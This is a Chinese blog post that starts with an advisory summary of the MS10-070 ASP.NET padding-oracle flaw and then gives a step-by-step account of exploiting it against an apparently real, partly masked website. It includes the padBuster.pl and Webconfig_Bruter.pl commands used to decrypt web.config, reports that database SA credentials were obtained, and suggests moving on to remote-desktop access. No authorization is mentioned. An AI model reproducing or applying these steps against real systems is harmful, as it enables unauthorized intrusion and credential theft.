MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试

MS10-070 ASP.NET Padding Oracle信息泄露漏洞
1         漏洞描述:
ASP.NET由于加密填充验证过程中处理错误不当,导致存在一个信息披露漏洞。成功利用此漏洞的攻击者可以读取服务器加密的数据,例如视图状态。 此漏洞还可以用于数据篡改,如果成功利用,可用于解密和篡改服务器加密的数据。 虽然攻击者无法利用此漏洞来执行代码或直接提升他们的用户权限,但此漏洞可用于产生信息,这些信息可用于试图进一步危及受影响系统的安全。
2         漏洞标识符:
Bugtraq ID: 43316
CVE: CVE-2010-3332
3         受影响系统
Microsoft .NET Framework 4.0
Microsoft .NET Framework 3.5 SP1
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
Microsoft .NET Framework 1.0 SP3
4         漏洞解决办法:
4.1        临时解决办法:
* 启用ASP.NET自定义错误并将所有的错误代码都映射到相同的出错页面。
* 创建包含有通用出错消息的error.html文件并保存到根目录。
4.2        微软补丁:
微软已经为此发布了一个安全公告(MS10-070)以及相应补丁:
http://www.microsoft.com/technet ... 10-070.mspx?pf=true

信息收集
目标:www.XXX.biz
Ip:180.23x.6x.21x
环境:用扫描工具发现 是个 iis7.5 表示解析漏洞byebye了,整个网站后缀是SHTML,查看源码得知是ASPX 网站,猜想权限应该很大!
 
思路:1、SQL注入 放弃(有可能存在POST 注入 但是我不会,)
      2、找上传地址  查看源码发现有kindeditor的路径(但是后面发现用的是FCK)
      3、找后台尝试弱口令  表示没有成功
      4、旁站    旁站都是用的同一个程序,放弃!

漏洞扫描
直接上WVS 扫一个高危漏洞没有,今天的主角
这个漏洞利用的最关键的一点就是寻找WebResource.axd,说实话这个看人品的,有时候很好找,右击查看源码在查找一下就可以找到,但有时候你怎么找都找不到,在这里我分享一下我找 WebResource.axd的经验。
1、        一般我查看首页的源码,能有话 你赶快去买彩票,这么好的事都能有,不合理啊!!!
2、        查看后台源码,或者会员登录的网页,查看源码或许有惊喜哦! 
MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试 
 
3、        上面2个方法都找不到,只能靠工具了,WVS对网站做一个深度全方位的扫描,或许可以找到这个文件的位置,扫描结果中的文件列表显示栏也是可以直接看到WebResource.axd和它的参数和值的,如下:
 
  
看到
<script src="/WebResource.axd?d=VXKB3fkqegYIJXaI5b_q_A2&t=633802945995006876" type="text/javascript"></script>

我们要找的就是参数d的值,如果在源码中看到有其他的参数,不需要理会。复制&前面的一串WebResource.axd?d=VXKB3fkqegYIJXaI5b_q_A2
第二个高危漏洞我们可以忽视它,这个网站目录做的很死,属于误报,压根不存在列目录。

漏洞利用
下载 padBuster.pl Webconfig Bruter.pl(注意把Webconfig Bruter.pl 中间的空格去掉不然你死也不会成功)
 padBuster.pl.txt (29.43 KB, 下载次数: 10) 

 Webconfig Bruter.pl.txt (4.18 KB, 下载次数: 9) 

找到WebResource.axd参数的值之后,就可以开始利用了。

安装好perl环境,执行:
perl.exe e:\padBuster.pl http://www.xxxx.biz/cms/WebResource.axd?d=aLjVFOUQacvgdyNFUithWQ2 aLjVFOUQacvgdyNFUithWQ2 8 -encoding 3 -plaintext "|||~/web.config"

参数说明:
这里的16为每个数据块的字节数,分为8和16,目前还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为16)。
encoding参数有4种,分别是0=Base64, 1=Lower HEX, 2=Upper HEX 3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3。
plaintext为想读取内容的文件,本次测试以web.config为例

MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试 
这里是让我们选择一个相应模式,并且**表示程序推荐的,那么这里就选择程序推荐的2号模式,等几分钟,(有些人或许只出现1没有出现有**的2,这样的话把第一个参数16改成8试试,或者8改成16)
MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试 MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试 
到这里,就拿到了web.config的URL的加密地址。

下面就该上Webconfig Bruter.pl获取完整的访问地址了
执行:
perl.exe e:\Webconfig_Bruter.pl http://www.xxx.biz/ScriptResource.axd p_klglqaE5B_ouCiPQTQYgAAAAAAAAAA0 8
还记得前面说的Webconfig Bruter.pl 要去掉空格吗? 不去空格就一直报错!!!!!!

等几分钟,就得到了最终的加密字符串:
OK,记好这个加密字符串,使用浏览器访问
http://www.xxx.biz/ScriptResourc ... KI9BNBiAAAAAAAAAAA1
 
成功了,如预想的一样权限SA 可惜是内网,到这里我就没办法继续了

如果是外网服务器 直接3389连接就OK 了 不用我多说了吧

上一篇:Python在金融量开源项目列表


下一篇:POJ 3311 Hie with the Pie (BFS+最短路+状态压缩)